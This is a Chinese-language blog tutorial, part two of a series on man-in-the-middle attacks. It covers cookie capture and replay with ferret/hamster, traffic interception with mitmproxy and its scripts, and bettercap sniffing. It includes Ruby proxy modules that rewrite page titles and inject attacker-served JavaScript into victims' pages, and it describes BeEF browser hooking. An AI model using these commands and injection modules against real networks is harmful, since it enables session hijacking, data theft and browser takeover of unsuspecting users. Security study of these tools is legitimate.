細說中間人攻擊(二)


細說中間人攻擊(一)介紹了比較常見的中間人攻擊做法,即用wireshark抓取數據包,
用ettercap來進行出入流量的替換和修改,從而達到監控和修改目標網頁的目的。然而中間人攻擊的工具繁多,並非只有ettercap一個,
因此這篇博文我將再介紹幾種常見的MITM框架以及簡單說明其使用方法,以達到方便監控目標和攻擊目標的目的。

抓取Cookie本地重現

在我搜索中間人攻擊相關主題的時候,發現國內博客提及比較多的cookie盜取所用的軟件是ferret&hamster,
hamster這個軟件是在2007年黑客大會上Robert Graham展示用來方便在瀏覽器中快速重現所捕捉
到的會話的,其中ferret用來撲捉數據或者對已經撲捉的.pcap數據進行格式化處理,生成一個txt文件,然后用hamster
來讀取這個txt並且在本機啟動一個代理服務器,只要瀏覽器設置了相對應的地址(本機地址)和端口的代理
進行訪問就能看見所有截獲的http會話了。由於這個軟件年代久遠,而且只是在大會上做個demo,並不是很完善的
產品,因此也有比較大的不穩定性,即便如此在如今還是在各種博客里被屢屢提及,所以我也簡單介紹下這個工具
的使用。

hamster和ferret可以到官網[http://hamster.erratasec.com][http://hamster.erratasec.com]下載,但最近似乎沒有
更新了,畢竟快是十年前的東西。我是直接在robert的github上下載的c++源代碼,總體功能並不復雜,就當學習一下大神
的coding方法了。有一點值得一提,hamster用的是32位的庫,因此自己如果是64位操作系統,編譯或者運行都需要安裝
ia32-libs以及一些使用到的非標准庫,同時源代碼要進行簡單的修改。為了方便我連同依賴直接fork到了這里

再說使用方法,其實這倒是最簡單的,關鍵就三步:

  1. 抓取指定端口的數據

  2. 用ferret格式化解析本地數據

    ferret -r file.pcap //生成hamster.txt

  3. hamster打開本地代理服務器,默認端口是1234

    hamster //在和hamster.txt相同目錄下打開

然后打開瀏覽器,設置代理為127.0.0.1:1234,打開http://hamster就能看到所撲捉的所有會話了,如果有cookie信息,也能直接
還原出來。其中第一步可以用任何抓包工具來做,也可以用ferret -i來抓包,這樣的話1、2步也可以合並成一步。

中間人代理

HTTP/HTTPS代理服務器有很多,比如Fiddler2,burpsuite和mitmproxy等工具都可以建立一個代理服務器。代理服務器往往用來輔助web開發
和調試,當然也能用於滲透測試即中間人攻擊。其中比較輕量級的是mitmproxy,用python編寫而成,可以很容易進行拓展和定制。
mitmproxy進行HTTPS代理的過程和我在細說中間人攻擊(一)的最后一節講的大同小異,簡而言之就是mitmproxy本身與服務器和
客戶端雙向進行SSL鏈接,當然前提是mitmproxy使用的證書要被信任,不然客戶端進行https訪問的時候瀏覽器地址欄會有個不信任證書的提醒。
下面介紹一下mitmproxy工具集中幾個常用工具的使用方法。

mitmproxy

mitmproxy是一個交互式的流量監控和分析工具,其操作界面的控制方式類似於vim。直接命令行打開:

mitmproxy -p 1234

會在本地打開一個代理服務器,端口號為1234。也可以不指定,默認端口號是8080。然后使得目標通過你的這個代理上網,就能在交互界面中看到
所有的POST和GET等請求。還可以指定任意一條請求回車進入查看詳細的請求數據,也可以看tab切換respond和detail數據。對於respond的數據還可以根據格式
來進行相應的展現。同時也能按e進行修改請求,然后按r進行回放。不得不說其可視化界面做得很好,所有的瀏覽請求一目了然。交互式的界面更適合
用於請求的分析。mitmproxy作為一個“中間人”代理,當然也能對數據進行攔截,使用i指定攔截的表達式即可。

mitmdump

與mitmproxy相對的,mitmdump是一個非交互的抓包工具,不過還提供了用python腳本來對數據包進行修改替換的操作,有點類似於ettercap的filter插件。
可以實時修改request和respond每一個細節,當然也可以非實時地對mitmproxy保存的離線包進行操作。

mitmdump -n -r capture.data -w output.data [filter]

其中capture.data是mitmproxy用w鍵保存的數據。mitmdump可以對其過濾處理產生新的包。[filter]是過濾的條件,如“~d douban.com“表示特定域名,~h表示
特定header等等。對於新生成的數據包,我們也可以用mitmdump重播:

mitmdump -n -c output.data

libmproxy

mitmdump的一個主要作用是支持inline腳本,用--script調用,腳本中用到了mitmdump提供的拓展庫libmproxy,就像其他python第三方庫一樣,不過其擁有操縱
http響應每個細節的能力,實乃居家旅行必備。用法很簡單:

mitmdump -s myscript.py -p 1234

如一個修改響應文字內容的inline腳本如下:

# Usage: mitmdump -s "modify_response_body.py mitmproxy bananas"
# (this script works best with --anticache)
from libmproxy.models import decoded


def start(context, argv):
    if len(argv) != 3:
        raise ValueError('Usage: -s "modify-response-body.py old new"')
    # You may want to use Python's argparse for more sophisticated argument
    # parsing.
    context.old, context.new = argv[1], argv[2]


def response(context, flow):
    with decoded(flow.response):  # automatically decode gzipped responses.
        flow.response.content = flow.response.content.replace(
            context.old,
            context.new)

這里需要注意的是不同版本的libmproxy的改動非常大!!我之前是直接apt-get下載的mitmproxy0.8,那時
還沒有libmproxy.models,所以要注意自己的版本。建議在github上clone最新版本,用pip+virturlenv進行
包管理十分方便,目前最新版本是mitmproxy0.14.x,最新版還增加了一個mitmweb的工具,
可見其更新速度非常快,這對開源工具來說是一件大好事。

另外在github倉庫里還有inline腳本的example,文檔也很齊全。除了inline調用以外,我們甚至可以使用libmproxy
來自己用python寫一個mitmproxy!而且實現起來也非常簡單,因為mitmproxy本身大部分功能都是基於libmproxy里實現的。

"更好的ettercap"——bettercap

很多人可能會問,既然有了ettercap,干嘛還要再弄一個差不多的東西?其實按照bettercap作者的說法,ettercap雖然是個很棒的工具,
但是已經過時了,而且似乎維護也是有氣無力。ettercap在大型網絡中相當不穩定,在操縱http的payload時往往還需要別的工具來輔助,
比如上面提到的mitmproxy。因此bettercap就誕生啦!

bettercap的操作也十分簡單明了,比如在局域網中嗅探所有數據:

bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

其中-P指定加載的parsers,也可以不指定,默認和ettercap一樣全部加載。也可以將數據保存在本地:

bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

--sniffer-filter參數表示的意思很明顯,即只保存目的端口為80的tcp數據(即http)。值得一提的是,這里沒有指定網關和網絡接口,因為
用的都是默認值,即當前網關和當前默認網卡,當然也可以分別用-G 和 -I 指定。

模塊化的透明代理

上面講mitmproxy的時候已經介紹了代理,而bettercap正好也可以實現類似的功能,在本地啟動一個中間人代理服務器並且將數據流量都通過代理收發。

bettercap --proxy --proxy-port=1234

指定代理端口為1234,默認為8080。這條命令默認只記錄http請求,如果指定--proxy-module參數就可以加載你自定義的模塊來操縱流量。
自定義的拓展模塊用Ruby寫成,語法很簡單,比如一個修改網頁title的例子hack_title.rb如下:

class HackTitle < Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info "Hacking http://#{request.host}#{request.url} title tag"
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
    end
  end
end  

調用方法

bettercap --proxy --proxy-module=hack_title.rb

內嵌http服務器

其實這個選項比較雞肋,不過也是bettercap為了達到它所說的“只用一個工具”的效果吧。其主要用途就是給payload注入JS的時候需要從服務器去請求,
bettercap可以配合proxy module很容易一步實現:

bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

其中inject.rb的代碼如下:

class InjectJS < Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # get the local interface address and HTTPD port
      localaddr = Context.get.ifconfig[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # inject the js
      response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
    end
  end
end  

目前bettercap的功能還比較簡單,但優點是其更新維護非常快,可以說是日新月異,和ettercap等老古董形成鮮明對比呀:D

BeEF

BeEF全稱為Browser Exploitation Framework,是一個著名的瀏覽器劫持框架,也是采用Ruby編寫。雖然安裝依賴的過程有點繁瑣,但用起來着實簡單無比,
只需要運行:

./beef

運行后會啟動一個用戶接口服務器和一個掛載BeEF主要JS腳本(hook.js)的服務器,其架構如下:

BeEF-overall

其中用戶接口也是一個http服務器,我們只需要在瀏覽器中打開,就能進入一個展現所有被注入的客戶機的管理后台。如果客戶端瀏覽的某個網頁payload中加載
了hook.js,那么其一舉一動都會發送到我們的UI服務器上,包括鼠標的點擊事件,點擊位置,鍵盤事件等等,查看cookie和客戶端的機器信息更是不在話下:

hook-interface

針對每一台被劫持的客戶端(瀏覽器),我們還可以對其發送不同的指令,比如播放音樂,鎖住頁面,打開web攝像頭。值得一提的是,BeEF還能配合metasploit
來入侵目標的電腦,從而在目標關閉瀏覽器后依舊能擁有其計算機的控制權。

后記

中間人攻擊的大致方法至此就介紹得差不多了,在總結的過程中自己也學了不少工具的的用法。雖然MITM的工具繁多,但明白其原理才能更好地去使用,
以及對其進行拓展。輪子是個好東西,人類只有幾十年有效壽命和有限的精力,卻能夠不斷發展到現在這樣科技發達,靠的就是不斷理解和使用輪子,把前人
的推論當成定理,可以說人類社會的進步就是一個面向對象編程的過程。但是,也不用把別人的輪子看得過於神秘,說到底中間人也就是接收,解析,發送三步而已。
至於怎么防御這類攻擊,最好的方法就是瀏覽器禁cookie,禁javascript,禁flash,最終還是得和個人的上網體驗相權衡,畢竟如果把眼睛都蒙上了,我還上什么網呢。

歡迎交流,文章轉載請注明出處.


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM